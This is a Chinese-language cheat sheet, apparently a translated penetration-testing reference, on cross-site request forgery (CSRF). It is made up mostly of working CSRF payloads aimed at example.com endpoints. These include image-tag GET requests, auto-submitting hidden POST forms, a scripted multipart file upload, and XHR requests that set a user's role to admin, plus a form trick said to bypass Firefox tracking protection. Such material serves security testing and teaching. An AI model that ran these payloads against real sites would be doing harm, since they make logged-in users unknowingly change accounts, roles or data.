跳转至

跨站请求伪造 (Cross-Site Request Forgery)

跨站请求伪造 (CSRF/XSRF) 是一种强制终端用户在其当前已身份验证的 Web 应用程序上执行非预期操作的攻击。CSRF 攻击专门针对改变状态的请求,而不是窃取数据,因为攻击者无法看到对伪造请求的响应。 - OWASP

摘要 (Summary)

工具 (Tools)

方法论 (Methodology)

CSRF_cheatsheet

当您登录到某个网站时,通常会拥有一个会话。该会话的标识符存储在浏览器的 Cookie 中,并随发送到该网站的每个请求一起发送。即使是其他网站触发了请求,Cookie 也会随请求发送,该请求将像已登录用户亲自执行的一样被处理。

HTML GET - 需要用户交互

<a href="http://www.example.com/api/setusername?username=CSRFd">点击我</a>

HTML GET - 无需用户交互

<img src="http://www.example.com/api/setusername?username=CSRFd">

HTML POST - 需要用户交互

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="提交请求" />
</form>

HTML POST - 自动提交 - 无需用户交互

<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="提交请求" />
</form>

<script>
 document.getElementById("autosubmit").submit();
</script>

HTML POST - 带有文件上传的 multipart/form-data - 需要用户交互

<script>
function launch(){
    const dT = new DataTransfer();
    const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
    dT.items.add( file );
    document.xss[0].files = dT.files;

    document.xss.submit()
}
</script>

<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
<input type="submit" name="" value="" size="0" />
</form>
<button value="button" onclick="launch()">提交请求</button>

JSON GET - 简单请求

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

JSON POST - 简单请求

使用 XHR:

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
// 简单请求中不允许使用 application/json。text/plain 是默认值
xhr.setRequestHeader("Content-Type", "text/plain");
// 您可能还想尝试其中一个或两个
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>

使用自动提交表单,这可以绕过某些浏览器的保护,例如 Firefox 浏览器中增强型跟踪保护的“标准”选项:

<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
// 此输入将发送:{"role":admin,"other":"="}
 <input type="hidden" name='{"role":admin, "other":"'  value='"}' />
</form>
<script>
 document.getElementById("CSRF_POC").submit();
</script>

JSON POST - 复杂请求

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>

实验环境 (Labs)

参考资料 (References)